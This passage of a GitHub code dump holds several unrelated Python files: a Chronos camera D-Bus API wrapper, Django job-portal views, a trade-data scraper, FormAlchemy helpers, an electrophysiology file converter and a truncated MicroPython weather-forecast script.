{'dateTime', 'externalStorage'}]: print('getting', key); control.callSync('get', [key])\n__badKeys = {} #set of blacklisted keys - useful for when one is unretrievable during development.\n_camState = control.callSync('get', [\n\tkey\n\tfor key in control.callSync('availableKeys')\n\tif key not in __badKeys\n], warnWhenCallIsSlow=False)\nif(not _camState):\n\traise Exception(\"Cache failed to populate. This indicates the get call is not working.\")\n_camState['error'] = '' #Last error is reported inline sometimes.\nif 'videoSegments' not in _camState:\n\tlog.warn('videoSegments not found in availableKeys (pychronos/issues/31)')\n\t_camState['videoSegments'] = []\nif 'videoZoom' not in _camState:\n\tlog.warn('videoZoom not found in availableKeys (pychronos/issues/52)')\n\t_camState['videoZoom'] = 1\n_camStateAge = {k:0 for k,v in _camState.items()}\n\nclass APIValues(QObject):\n\t\"\"\"Wrapper class for subscribing to API values in the chronos API.\"\"\"\n\t\n\tdef __init__(self):\n\t\tsuper(APIValues, self).__init__()\n\t\t\n\t\t#The .connect call freezes if we don't do this, or if we do this twice.\n\t\tQDBusConnection.systemBus().registerObject(\n\t\t\tf\"/ca/krontech/chronos/{'control_mock_hack' if USE_MOCK else 'control_hack'}\", \n\t\t\tself,\n\t\t)\n\t\t\n\t\tself._callbacks = {value: [] for value in _camState}\n\t\tself._callbacks['all'] = [] #meta, watch everything\n\t\t\n\t\tQDBusConnection.systemBus().connect(\n\t\t\tf\"ca.krontech.chronos.{'control_mock' if USE_MOCK else 'control'}\", \n\t\t\tf\"/ca/krontech/chronos/{'control_mock' if USE_MOCK else 'control'}\",\n\t\t\tf\"\",\n\t\t\t'notify', \n\t\t\tself.__newKeyValue,\n\t\t)\n\t\n\tdef observe(self, key, callback):\n\t\t\"\"\"Add a function to get called when a value is updated.\"\"\"\n\t\tassert callable(callback), f\"Callback is not callable. (Expected function, got {callback}.)\"\n\t\tassert key in self._callbacks, f\"Unknown value, '{key}', to observe.\\n\\nAvailable keys are: \\n{chr(10).join(self._callbacks.keys())}\\n\\nDid you mean to observe '{(get_close_matches(key, self._callbacks.keys(), n=1) or ['???'])[0]}' instead of '{key}'?\\n\"\n\t\tself._callbacks[key].append(callback)\n\t\n\tdef unobserve(self, key, callback):\n\t\t\"\"\"Stop a function from getting called when a value is updated.\"\"\"\n\t\tassert callable(callback), f\"Callback is not callable. (Expected function, got {callback}.)\"\n\t\tself._callbacks[key].remove(callback)\n\t\n\tdef __newValueIsEnqueued(self, key):\n\t\treturn True in [\n\t\t\tkey in call._args[1]\n\t\t\tfor call in control._controlEnqueuedCalls\n\t\t\tif call._args[0] == 'set'\n\t\t]\n\t\n\t@pyqtSlot('QDBusMessage')\n\tdef __newKeyValue(self, msg):\n\t\t\"\"\"Update _camState and invoke any  registered observers.\"\"\"\n\t\tnewItems = msg.arguments()[0].items()\n\t\tlog.info(f'Received new information. {msg.arguments()[0] if len(str(msg.arguments()[0])) <= 45 else chr(10)+prettyFormat(msg.arguments()[0])}')\n\t\tfor key, value in newItems:\n\t\t\tif _camState[key] != value and not self.__newValueIsEnqueued(key):\n\t\t\t\t_camState[key] = value\n\t\t\t\t_camStateAge[key] += 1\n\t\t\t\tfor callback in self._callbacks[key]:\n\t\t\t\t\tcallback(value)\n\t\t\t\tfor callback in self._callbacks['all']:\n\t\t\t\t\tcallback(key, value)\n\t\t\telse:\n\t\t\t\tlog.info(f'Ignoring {key} → {value}, stale.')\n\t\n\tdef get(self, key):\n\t\treturn _camState[key]\n\napiValues = APIValues()\ndel APIValues\n\n\ndef observe(name: str, callback: Callable[[Any], None]) -> None:\n\t\"\"\"Observe changes in a state value.\n\t\n\t\tArgs:\n\t\t\tname: ID of the state variable. \"exposure\", \"focusPeakingColor\", etc.\n\t\t\tcallback: Function called when the state updates and upon subscription.\n\t\t\t\tCalled with one parameter, the new value. Called when registered\n\t\t\t\tand when the value updates.\n\t\t\n\t\tNote: Some frequently updated values (~> 10/sec) are only available via\n\t\t\tpolling due to flooding concerns. They can not be observed, as they're\n\t\t\tassumed to *always* be changed. See the API docs for more details.\n\t\t\n\t\t\n\t\tRationale:\n\t\tIt is convenient and less error-prone if we only have one callback that\n\t\thandles the initialization and update of values. The API provides separate\n\t\tinitialization and update methods, so we'll store the initialization and\n\t\tuse it to perform the initial call to the observe() callback.\n\t\t\n\t\tIn addition, this means we only have to query the initial state once,\n\t\tretrieving a blob of all the data available, rather than retrieving each\n\t\tkey one syscall at a time as we instantiate each Qt control.\n\t\"\"\"\n\t\n\tassert callable(callback), f\"Callback is not callable. (Expected function, got {callback}.)\"\n\tapiValues.observe(name, callback)\n\tcallback(apiValues.get(name))\n\n\ndef observe_future_only(name: str, callback: Callable[[Any], None]) -> None:\n\t\"\"\"Like `observe`, but without the initial callback when observing.\n\t\n\t\tUseful when `observe`ing a derived value, which observe can't deal with yet.\n\t\"\"\"\n\t\n\tassert callable(callback), f\"Callback is not callable. (Expected function, got {callback}.)\"\n\tapiValues.observe(name, callback)\n\n\nunobserve = apiValues.unobserve\n\n\n\nclass Signal(QObject):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\t\n\t\tself._signalObservers = {\n\t\t\t'sof': [], #Use lists here to preserve order of callbacks.\n\t\t\t'eof': [],\n\t\t\t'segment': [],\n\t\t}\n\t\t\n\t\t\n\t\t#The .connect call freezes if we don't do this, or if we do this twice.\n\t\tQDBusConnection.systemBus().registerObject(\n\t\t\tf\"/ca/krontech/chronos/{'video_mock_hack' if USE_MOCK else 'video_hack'}\", \n\t\t\tself,\n\t\t)\n\t\t\n\t\tfor signal_ in self._signalObservers:\n\t\t\tQDBusConnection.systemBus().connect(\n\t\t\t\tf\"ca.krontech.chronos.{'video_mock' if USE_MOCK else 'video'}\", \n\t\t\t\tf\"/ca/krontech/chronos/{'video_mock' if USE_MOCK else 'video'}\",\n\t\t\t\tf\"\",\n\t\t\t\tsignal_, \n\t\t\t\tgetattr(self, f'_{type(self).__name__}__{signal_}')\n\t\t\t)\n\t\n\t\n\t#Sort of a reverse trampoline, needed because callbacks must be decorated.\n\t@pyqtSlot('QDBusMessage')\n\tdef __sof(self, msg):\n\t\tlog.debug(f'''video signal: sof ({len(self._signalObservers['sof'])} handlers)''')\n\t\tself.__invokeCallbacks('sof', *msg.arguments())\n\t@pyqtSlot('QDBusMessage')\n\tdef __eof(self, msg):\n\t\tlog.debug(f'''video signal: eof ({len(self._signalObservers['eof'])} handlers)''')\n\t\tself.__invokeCallbacks('eof', *msg.arguments())\n\t@pyqtSlot('QDBusMessage')\n\tdef __segment(self, msg):\n\t\tlog.debug(f'''video signal: segment ({len(self._signalObservers['segment'])} handlers)''')\n\t\tself.__invokeCallbacks('segment', *msg.arguments())\n\t\n\tdef __invokeCallbacks(self, signal, data):\n\t\tfor callback in self._signalObservers[signal]:\n\t\t\tcallback(data)\n\t\n\t\n\tdef observe(self, signal: str, handler: Callable[[Any], None]) -> None:\n\t\t\"\"\"Add a function to get called when a D-BUS signal is emitted.\"\"\"\n\t\tassert callable(handler), f\"Handler is not callable. (Expected function, got {handler}.)\"\n\t\tself._signalObservers[signal].append(handler)\n\t\n\tdef unobserve(self, signal: str, handler: Callable[[Any], None]) -> None:\n\t\t\"\"\"Stop a function from getting called when a D-BUS signal is emitted.\"\"\"\n\t\tassert callable(handler), f\"Handler is not callable. (Expected function, got {handler}.)\"\n\t\tself._signalObservers[signal].remove(handler)\nsignal = Signal()\ndel Signal\t\n\n\n\n#Perform self-test if launched as a standalone.\nif __name__ == '__main__':\n\tfrom PyQt5.QtCore import QCoreApplication\n\timport signal as sysSignal\n\t\n\tapp = QCoreApplication(sys.argv)\n\t\n\t#Quit on ctrl-c.\n\tsysSignal.sysSignal(sysSignal.SIGINT, sysSignal.SIG_DFL)\n\t\n\tprint(\"Self-test: Retrieve exposure period.\")\n\tprint(f\"Exposure is {get('exposurePeriod')}ns.\")\n\tprint(\"Control API self-test passed. Goodbye!\")\n\t\n\tsys.exit(0)","repo_name":"krontech/chronos-web-interface","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":28921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70341120330","text":"def fn(a,i,n,key):\n    if i==n:\n        return -1\n    if a[i]==key:\n        return i\n    return fn(a,i+1,n,key)\nlist1=list(map(int,input().split()))\nn=len(list1)\nkey=int(input())\nc=fn(list1,0,n,key)\nif c==-1:\n    print(\"No is not present\")\nelse:\n    print(c)\n","repo_name":"tinkalkumar007/Competitive_Coding","sub_path":"linearSearch_rcrsn.py","file_name":"linearSearch_rcrsn.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21952014190","text":"from re import template\nfrom django.shortcuts import render, get_object_or_404\nfrom django.views import View\nfrom .models import Job, field_choices, field_choices_dict\nfrom django.urls import reverse, reverse_lazy\nfrom django.http import Http404, HttpResponseRedirect\nfrom .forms import JobCreationForm\n# Create your views here.\n\nclass index(View):\n    def get(self, request):\n        return render(request, \"jobs/index.html\", {'field_choices' : field_choices})\n    \nclass listJobs(View):\n    \n    def get(self, request, *args, **kwargs):\n        \n        if kwargs['field'] not in field_choices_dict.keys():\n            raise Http404('<h1>404</h1> <br><br><h3>The page cannot be found.</h3>')\n\n        filtered_jobs = Job.objects.filter(field = kwargs['field']) \n\n        return render(request, \"jobs/category_wise_list.html\", {\n            'field_choices' : field_choices,\n            'field_chosen' : field_choices_dict[kwargs['field']],\n            'joblist' : filtered_jobs\n        })\n\nclass jobDetail(View):\n    def get(self, request, *args, **kwargs):\n        job = get_object_or_404(Job, pk = kwargs['id'])\n        user = request.user\n        type_user = None\n        if user == job.recruiter:\n            type_user = 'recruiter'\n        elif job.applicants.filter(pk = user.pk).exists():\n            type_user = 'applicant'\n        else:    \n            type_user = 'neither'\n        return render(request, 'jobs/job_detail.html', {\n            'job' : job,\n            'type_user' : type_user,\n            'field_choices' : field_choices\n        })\nclass jobApply(View):\n    def get(self, request, *args, **kwargs):\n        user = request.user\n        job = get_object_or_404(Job, pk = kwargs['id'])\n        if user.is_authenticated:\n            if user != job.recruiter:\n                job.applicants.add(user)\n            type_user = None\n            if user == job.recruiter:\n                type_user = 'recruiter'\n            elif job.applicants.filter(pk = user.pk).exists():\n                type_user = 'applicant'\n            else:    \n                type_user = 'neither'\n            \n            return render(request, \"jobs/apply.html\", {\n                'type_user' : type_user\n            })\n        else: \n            raise Http404\n\n        \nclass createJob(View):\n    def get(self, request):\n        if not request.user.is_authenticated:\n            return HttpResponseRedirect(reverse('users:login'))\n        form = JobCreationForm()\n        return render(request, 'jobs/create_job.html', {\n            'form' : form\n        })\n    def post(self, request):\n        if not request.user.is_authenticated:\n            return HttpResponseRedirect(reverse('users:login'))\n        form = JobCreationForm(request.POST)\n        if not form.is_valid():\n            return render(request, 'jobs/create_job.html', {\n            'form' : form\n            })\n        new_job = form.save(commit = False)\n        new_job.recruiter = request.user\n        new_job.save()\n        return HttpResponseRedirect(reverse_lazy('users:recruitment'))\n\nclass companyUpdate(View):\n    def get(self, request):\n        form = JobCreationForm()\n        return render(request, 'jobs/company_update.html', {\n            'form' : form\n        })","repo_name":"amayank7/django-job-portal","sub_path":"jobs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21897942412","text":"#!/usr/bin/env python3\n\"\"\"Script to set up the Volkszaehler API wrapper.\"\"\"\nimport os\nimport sys\n\ntry:\n    from setuptools import setup\nexcept ImportError:\n    from distutils.core import setup\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith open(os.path.join(here, \"README.rst\"), encoding=\"utf-8\") as f:\n    long_description = f.read()\n\nsetup(\n    name=\"volkszaehler\",\n    version=\"0.4.0\",\n    description=\"Python Wrapper for interacting with the Volkszahler API.\",\n    long_description=long_description,\n    url=\"https://github.com/home-assistant-ecosystem/python-volkszaehler\",\n    download_url=\"https://github.com/home-assistant-ecosystem/python-volkszaehler/releases\",\n    author=\"Fabian Affolter\",\n    author_email=\"fabian@affolter-engineering.ch\",\n    license=\"MIT\",\n    install_requires=[\n        \"aiohttp>=3.8.4,<4\",\n        \"async_timeout>4,<5\",\n    ],\n    packages=[\"volkszaehler\"],\n    python_requires=\">=3.9\",\n    zip_safe=True,\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Environment :: Console\",\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Operating System :: POSIX\",\n        \"Programming Language :: Python :: 3.9\",\n        \"Programming Language :: Python :: 3.10\",\n        \"Programming Language :: Python :: 3.11\",\n        \"Topic :: Utilities\",\n    ],\n)\n","repo_name":"home-assistant-ecosystem/python-volkszaehler","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4950503844","text":"from datetime import datetime\nfrom parser_india import India_get_data\nimport json\nimport pandas as pd\n\n# Ссылки на данные импорта и экспорта\nURL_IMPORT = 'https://tradestat.commerce.gov.in/meidb/cntcomq.asp?ie=i'\nURL_EXPORT = 'https://tradestat.commerce.gov.in/meidb/cntcomq.asp?ie=e'\n\n# Словарь с порядковым номером месяца\nwith open('month_number.json', 'r') as fl:\n    d = json.load(fl)\n\n# Словарь с конфигурацией запроса\n# 'export', 'import'  'radioqty' 'radiousd'\ndict_config = {\n    'type_flow': 'export',\n    'url_flow': URL_EXPORT,\n    'year': 2023,\n    'month_number': d,\n    'key_unit_value': 'radiousd',\n    'key_unit_qty': 'radioqty'\n}\n\n# Внести только те названия, данные по которым нужно получить\n# Пример со страной: 'ALGERIA'\n# Пример с месяцем: 'FEB'\nneeded_country_list = []\nneed_month_list = []\n\n\n# Валидация пропущенных значений\ndef bol(x, y):\n    if x == 0 and y == 0:\n        return 'full_none'\n    else:\n        return 'not_none'\n\n\n# Создаем экземпляр класса\nneed_entries = India_get_data(dict_config['type_flow'], dict_config['url_flow'], dict_config['year'], d)\n\n# Получаем нужные страны и месяцы\nlst_country = {k: v for k, v in need_entries.get_country_option().items() if v in needed_country_list} \\\n    if needed_country_list else need_entries.get_country_option()\nlst_month = {k: v for k, v in need_entries.get_month_option().items() if v in need_month_list} \\\n    if need_month_list else need_entries.get_month_option()\n\n# Заготовка под итоговый датасет\ndf_void = pd.DataFrame()\n\n# Обходим все страны и месяцы\nfor country_option, country_value in lst_country.items():\n    start = datetime.now()\n    print(f'Загружаем {country_value}')\n    for month_option, month_value in lst_month.items():\n        print(f'Месяц {month_value}')\n        # Формируем датафрейм для trade_value\n        df_value = India_get_data(dict_config['type_flow'], dict_config['url_flow'], dict_config['year'],\n                                  dict_config['month_number'], key_unit=dict_config['key_unit_value']).build_df_value(\n                                  month_option, month_value, country_option, country_value)\n        # Формируем датафрейм для qty\n        df_qty = India_get_data(dict_config['type_flow'], dict_config['url_flow'], dict_config['year'],\n                                dict_config['month_number'], key_unit=dict_config['key_unit_qty']).build_df_qty(\n                                month_option, country_option, country_value)\n\n        # Собираем полученные датафреймы в один\n        try:\n            merge_ff = df_value.merge(df_qty, on=['commodity_code', 'year', 'name_country_source'])\n            merge_ff.fillna(0, inplace=True)\n            merge_ff['bool_border'] = merge_ff.apply(lambda x: bol(x.trade_value, x.qty), axis=1)\n            merge_ff = merge_ff.query('bool_border != \"full_none\"')\n\n            df_void = pd.concat((df_void, merge_ff))\n        except KeyError:\n            print(f'Нет данный в {country_value} месяца {month_value}')\n    print(f'Выгрузка данных по {country_value} составила {round((datetime.now() - start).total_seconds(), 2)} секунд')\n\n# Сохраняем данные в файл\ndf_void.to_csv(f'india_{dict_config[\"type_flow\"]}.csv', index=False)\n","repo_name":"osulel12/India_parser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8953821028","text":"from formalchemy import config\nfrom sqlalchemy.orm import Query, class_mapper\nfrom sqlalchemy.exceptions import InvalidRequestError # 0.4 support\nimport compiler\n\n__all__ = ['stringify', 'normalized_options', '_pk', '_pk_one_column',\n           'simple_eval']\n\n# see http://code.activestate.com/recipes/364469/ for explanation.\n# 2.6 provides ast.literal_eval, but requiring 2.6 is a bit of a stretch for now\nclass _SafeEval(object):\n    def visit(self, node,**kw):\n        cls = node.__class__\n        meth = getattr(self, 'visit' + cls.__name__, self.default)\n        return meth(node, **kw)\n            \n    def default(self, node, **kw):\n        for child in node.getChildNodes():\n            return self.visit(child, **kw)\n            \n    visitExpression = default\n    \n    def visitName(self, node, **kw):\n        if node.name in ['True', 'False', 'None']:\n            return eval(node.name)\n\n    def visitConst(self, node, **kw):\n        return node.value\n\n    def visitTuple(self,node, **kw):\n        return tuple(self.visit(i) for i in node.nodes)\n        \n    def visitList(self,node, **kw):\n        return [self.visit(i) for i in node.nodes]\n\ndef simple_eval(source):\n    \"\"\"like 2.6's ast.literal_eval, but only does constants, lists, and tuples, for serialized pk eval\"\"\"\n    if source == '':\n        return None\n    walker = _SafeEval()\n    ast = compiler.parse(source, 'eval')\n    return walker.visit(ast)\n\n\ndef stringify(k, null_value=u''):\n    if k is None:\n        return null_value\n    if isinstance(k, str):\n        return unicode(k, config.encoding)\n    elif isinstance(k, unicode):\n        return k\n    elif hasattr(k, '__unicode__'):\n        return unicode(k)\n    else:\n        return unicode(str(k), config.encoding)\n\ndef _pk_one_column(instance, column):\n    try:\n        attr = getattr(instance, column.key)\n    except AttributeError:\n        # FIXME: this is not clean but the only way i've found to retrieve the\n        # real attribute name of the primary key.\n        # This is needed when you use something like:\n        #    id = Column('UGLY_NAMED_ID', primary_key=True)\n        # It's a *really* needed feature\n        cls = instance.__class__\n        for k in instance._sa_class_manager.keys():\n            props = getattr(cls, k).property\n            if hasattr(props, 'columns'):\n                if props.columns[0] is column:\n                    attr = getattr(instance, k)\n                    break\n    return attr\n\ndef _pk(instance):\n    # Return the value of this instance's primary key, suitable for passing to Query.get().  \n    # Will be a tuple if PK is multicolumn.\n    try:\n        columns = class_mapper(type(instance)).primary_key\n    except InvalidRequestError:\n        return None\n    if len(columns) == 1:\n        return _pk_one_column(instance, columns[0])\n    return tuple([_pk_one_column(instance, column) for column in columns])\n\n\n\ndef query_options(L):\n    \"\"\"\n    Return a list of tuples of `(item description, item pk)`\n    for each item in the iterable L, where `item description`\n    is the result of str(item) and `item pk` is the item's primary key.\n    \"\"\"\n    return [(stringify(item), _pk(item)) for item in L]\n\n\ndef normalized_options(options):\n    \"\"\"\n    If `options` is an SA query or an iterable of SA instances, it will be\n    turned into a list of `(item description, item value)` pairs. Otherwise, a\n    copy of the original options will be returned with no further validation.\n    \"\"\"\n    if isinstance(options, Query):\n        options = options.all()\n    if callable(options):\n        return options\n    i = iter(options)\n    try:\n        first = i.next()\n    except StopIteration:\n        return []\n    try:\n        class_mapper(type(first))\n    except:\n        return list(options)\n    return query_options(options)\n\n","repo_name":"abourget/formalchemy-abourget","sub_path":"formalchemy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"73278577609","text":"import sys\nimport os.path\nimport arrow\nfrom dateutil import tz\nimport numpy as np\nfrom bark.io.rhd.load_intan_rhd_format import read_data\nfrom bark import create_entry, write_metadata\n\n\ndef bark_rhd_to_entry():\n    import argparse\n    default_max_gaps = 10\n    p = argparse.ArgumentParser(\n        description=\"\"\"Create a Bark entry from RHD files\n            RHD files should be contiguous in time.\n\n            An error is raised if the RHD files do not all have the same\n            channels recorded.\n            \"\"\")\n    p.add_argument(\"rhdfiles\", help=\"RHD file(s) to convert\", nargs=\"+\")\n    p.add_argument(\"-o\", \"--out\", help=\"name of bark entry\")\n    p.add_argument(\"-a\",\n                   \"--attributes\",\n                   action='append',\n                   type=lambda kv: kv.split(\"=\"),\n                   dest='keyvalues',\n                   help=\"extra metadata in the form of KEY=VALUE\")\n    p.add_argument(\n        \"-t\",\n        \"--timestamp\",\n        help=\"\"\"format: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS.S, if left unspecified\n            the timestamp will be inferred from the filename of the\n            first RHD file.\"\"\")\n    p.add_argument('--timezone',\n                   help=\"timezone of timestamp, \\\n            default: America/Chicago\",\n                   default='America/Chicago')\n    p.add_argument(\n        \"-p\",\n        \"--parents\",\n        help=\"No error if already exists, new meta-data written, \\\n                and datasets will be overwritten.\",\n        action=\"store_true\")\n    p.add_argument(\n        \"-g\",\n        \"--maxgaps\",\n        help=\"Maximum allowable gaps in continuous data, default: {}.\"\n        .format(default_max_gaps),\n        type=int,\n        default=default_max_gaps)\n    args = p.parse_args()\n    attrs = dict(args.keyvalues) if args.keyvalues else {}\n    check_exists(args.rhdfiles)\n    rhds_to_entry(args.rhdfiles, args.out, args.timestamp, args.parents,\n                  args.maxgaps, args.timestamp, **attrs)\n\n\ndef rhd_filename_to_timestamp(fname, timezone):\n    return arrow.get(fname, 'YYMMDD_HHmmss').replace(\n        tzinfo=tz.gettz(timezone)).datetime\n\n\ndef input_string_to_timestamp(string, timezone):\n    return arrow.get(string).replace(tzinfo=tz.gettz(timezone)).datetime\n\n\ndef chan_names(result, key):\n    if key in result:\n        return [chan['native_channel_name'] for chan in result[key]]\n    else:\n        return []\n\n\ndef amp_chan_names(result):\n    return chan_names(result, 'amplifier_channels')\n\n\ndef adc_chan_names(result):\n    return chan_names(result, 'board_adc_channels')\n\n\ndef board_adc_metadata(result, dsetname):\n    attrs = dict(dtype=result['board_adc_data'].dtype.str,\n                 sampling_rate=result['frequency_parameters'][\n                     'board_adc_sample_rate'], )\n    columns = {i: chan_attrs\n               for i, chan_attrs in enumerate(result['board_adc_channels'])}\n    for k in columns:\n        columns[k]['units'] = 'V'\n        columns[k]['unit_scale'] = result['ADC_input_bit_volts']\n    write_metadata(dsetname, columns=columns, **attrs)\n\n\ndef amplifier_metadata(result, dsetname):\n    attrs = dict(dtype=result['amplifier_data'].dtype.str,\n                 sampling_rate=result['frequency_parameters'][\n                     'amplifier_sample_rate'], )\n    attrs.update(result['frequency_parameters'])\n    columns = {i: chan_attrs\n               for i, chan_attrs in enumerate(result['amplifier_channels'])}\n    for k in columns:\n        columns[k]['units'] = 'uV'\n        columns[k]['unit_scale'] = result['amplifier_bit_microvolts']\n    write_metadata(dsetname, columns=columns, **attrs)\n\n\ndef not_implemented_warnings(result):\n    if 'aux_input_channels' in result:\n        print(\"AUX INPUT DATA CONVERSION NOT YET IMPLEMENTED\")\n    if 'supply_voltage_data' in result:\n        print(\"SUPPLY VOLTAGE DATA CONVERSION NOT YET IMPLEMENTED\")\n    if 'board_dig_in_data' in result:\n        print(\"DIGITAL INPUT DATA CONVERSION NOT YET IMPLEMENTED\")\n    if 'board_dig_out_data' in result:\n        print(\"DIGITAL OUTPUT DATA CONVERSION NOT YET IMPLEMENTED\")\n    if 'temp_sensor_data' in result:\n        print(\"TEMP SENSOR DATA CONVERSION NOT YET IMPLEMENTED\")\n\n\ndef check_timestamp_gaps(data, max_gaps):\n    num_gaps = np.sum(~np.isclose(\n        np.diff(data['t_amplifier']), 1. / data['frequency_parameters'][\n            'amplifier_sample_rate']))\n    if num_gaps > max_gaps:\n        raise Exception(\"{} data gaps exceeds maximum limit {}\".format(\n            num_gaps, max_gaps))\n\n\ndef check_exists(rhd_paths):\n    for filepath in rhd_paths:\n        if not os.path.exists(filepath):\n            print(\"file {} does not exist\".format(filepath))\n            sys.exit(0)\n\n\ndef rhds_to_entry(rhd_paths,\n                  entry_name,\n                  timestamp=None,\n                  parents=False,\n                  max_gaps=10,\n                  timezone='America/Chicago',\n                  **attrs):\n    \"\"\"\n    Converts a temporally contiguous list of .rhd files to a bark entry.\n    \"\"\"\n    if not timestamp:\n        timestamp = rhd_filename_to_timestamp(rhd_paths[0], timezone)\n    else:\n        timestamp = input_string_to_timestamp(timestamp, timezone)\n    # extract data and metadata from first file\n    print(rhd_paths[0])\n    result = read_data(rhd_paths[0], no_floats=True)\n    not_implemented_warnings(result)\n    check_timestamp_gaps(result, max_gaps)\n    # make entry\n    entry_attrs = result['notes']\n    attrs.update(entry_attrs)\n    create_entry(entry_name, timestamp, parents, **attrs)\n    # make datasets\n    board_channels = adc_chan_names(result)\n    if board_channels:\n        dsetname = os.path.join(entry_name, 'board_adc.dat')\n        board_adc_metadata(result, dsetname)\n        with open(dsetname, 'wb') as fp:\n            fp.write(result['board_adc_data'].T.tobytes())\n\n    amplifier_channels = amp_chan_names(result)\n    if amplifier_channels:\n        dsetname = os.path.join(entry_name, 'amplifier.dat')\n        amplifier_metadata(result, dsetname)\n        with open(dsetname, 'wb') as fp:\n            fp.write(result['amplifier_data'].T.tobytes())\n\n    # now that the metadata has been written (and data from the first file)\n    # write data for the remainder of the files\n    for rhdfile in rhd_paths[1:]:\n        print(rhdfile)\n        result = read_data(rhdfile, no_floats=True)\n        not_implemented_warnings(result)\n        check_timestamp_gaps(result, max_gaps)\n        cur_board_channels = adc_chan_names(result)\n        cur_amplifier_channels = amp_chan_names(result)\n\n        # check that the same channels are being recorded\n        if board_channels != cur_board_channels:\n            raise ValueError(\"\"\"{} has channels {}\n                    {} has channels {} \"\"\".format(\n                rhdfile, cur_board_channels, rhd_paths[0], board_channels))\n        if amplifier_channels != cur_amplifier_channels:\n            raise ValueError(\"\"\"{} has channels {}\n                    {} has channels {}\"\"\"\n                             .format(rhdfile, cur_amplifier_channels,\n                                     rhd_paths[0], amplifier_channels))\n        # write data\n        if cur_board_channels:\n            dsetname = os.path.join(entry_name, 'board_adc.dat')\n            with open(dsetname, 'ab') as fp:\n                fp.write(result['board_adc_data'].T.tobytes())\n        if cur_amplifier_channels:\n            dsetname = os.path.join(entry_name, 'amplifier.dat')\n            with open(dsetname, 'ab') as fp:\n                fp.write(result['amplifier_data'].T.tobytes())\n","repo_name":"kylerbrown/bark","sub_path":"bark/io/rhd/rhd2bark.py","file_name":"rhd2bark.py","file_ext":"py","file_size_in_byte":7537,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"10504955912","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n'''\n@File       :    main.py\n@Author     :    zhangheng\n@version    :    1.0\n@Description:    天气预报案例 - 通过gps定位获取该位置近几天的天气状况\n                 board.json - 硬件资源配置文件，详情请参考：https://haas.iot.aliyun.com/haasapi/index.html#/Python/docs/zh-CN/haas_extended_api/driver/driver\n'''\n\nfrom aliyunIoT import Device\nfrom driver import UART\nimport display      # 显示库\nimport network      # 网络库\nimport utime        # 延时函数在utime库中\nimport sntp         # 网络时间同步库\nimport _thread      # 线程库\nimport gnss         # gps\nimport ujson as json\n\n\n# Wi-Fi SSID和Password设置\nSSID='***'\nPWD='***'\n\n# HaaS设备三元组\nproductKey = \"***\"\ndeviceName  = \"***\"\ndeviceSecret  = \"***\"\n\ng_lk_connect = False\ng_lk_service = False\n\nkey_info = {\n    'region' : 'cn-shanghai' ,\n    'productKey': productKey ,\n    'deviceName': deviceName ,\n    'deviceSecret': deviceSecret ,\n    'keepaliveSec': 60\n}\n\ndef connect_wifi(ssid, pwd):\n    # 引用全局变量\n    global disp\n    # 初始化网络\n    wlan = network.WLAN(network.STA_IF)\n    wlan.active(True)\n    wlan.connect(ssid, pwd)\n    while True:\n        print('Wi-Fi is connecting...')\n        # 显示网络连接中\n        disp.text(20, 30, 'Wi-Fi is connecting...', disp.RED)\n        # 网络连接成功后，更新显示字符\n        if (wlan.isconnected() == True):\n            print('Wi-Fi is connected')\n            disp.textClear(20, 30, 'Wi-Fi is connecting...')\n            disp.text(20, 30, 'Wi-Fi is connected', disp.RED)\n            #print(wlan.ifconfig())\n            ip = wlan.ifconfig()[0]\n            print('IP: %s' %ip)\n            disp.text(20, 50, ip, disp.RED)\n            # NTP时间更新，如果更新不成功，将不能进行识别\n            print('NTP start')\n            disp.text(20, 70, 'NTP start...', disp.RED)\n            sntp.setTime()\n            print('NTP done')\n            disp.textClear(20, 70, 'NTP start...')\n            disp.text(20, 70, 'NTP done', disp.RED)\n            break\n        utime.sleep_ms(500)\n    utime.sleep(2)\n\ndef cb_lk_connect(data):\n    global g_lk_connect\n    print('link platform connected')\n    g_lk_connect = True\n\ndef weather_forecast(latitude, longitude):\n    start = utime.ticks_ms()\n    global dev\n    ext = {'latitude':latitude, 'longitude': longitude}\n    ext_str = json.dumps(ext)\n    all_params = {'id': 1, 'version': '1.0', 'params': { 'eventType': 'haas.faas', 'eventName': 'weatherForecast', 'argInt': 1, 'ext': ext_str}}\n    all_params_str = json.dumps(all_params)\n    forecast_param = {\n        'topic': '/sys/' + productKey + '/' + deviceName + '/thing/event/hli_event/post',\n        'qos': 1,\n        'payload': all_params_str\n    }\n    dev.publish(forecast_param)\n    while g_lk_service == False:\n        continue\n    time_diff = utime.ticks_diff(utime.ticks_ms(), start)\n    print('get response time : %d' % time_diff)\n\ndef cb_lk_service(data):\n    global g_lk_service, callFlag, weatherResult\n    if data != None:\n        params = data['params']\n        #print(params)\n        params_dict = json.loads(params)\n        ext = params_dict['ext']\n        ext_dict = json.loads(ext)\n        result = ext_dict['data']\n        resultJson = json.loads(result)\n        infocode = resultJson['infocode']\n        if infocode == '10000':\n            casts = resultJson['forecasts'][0]['casts']\n            try:\n                print(\"casts:\" + json.dumps(casts))\n                weatherResult = casts\n                for index in range(len(casts)):\n                    cast = casts[index]\n                    date 